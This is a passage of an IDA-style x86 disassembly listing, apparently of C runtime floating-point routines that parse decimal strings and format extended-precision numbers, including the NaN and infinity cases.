		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBE8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBE8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBE8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBE4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBE8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBE4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBE4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBE4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBE4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
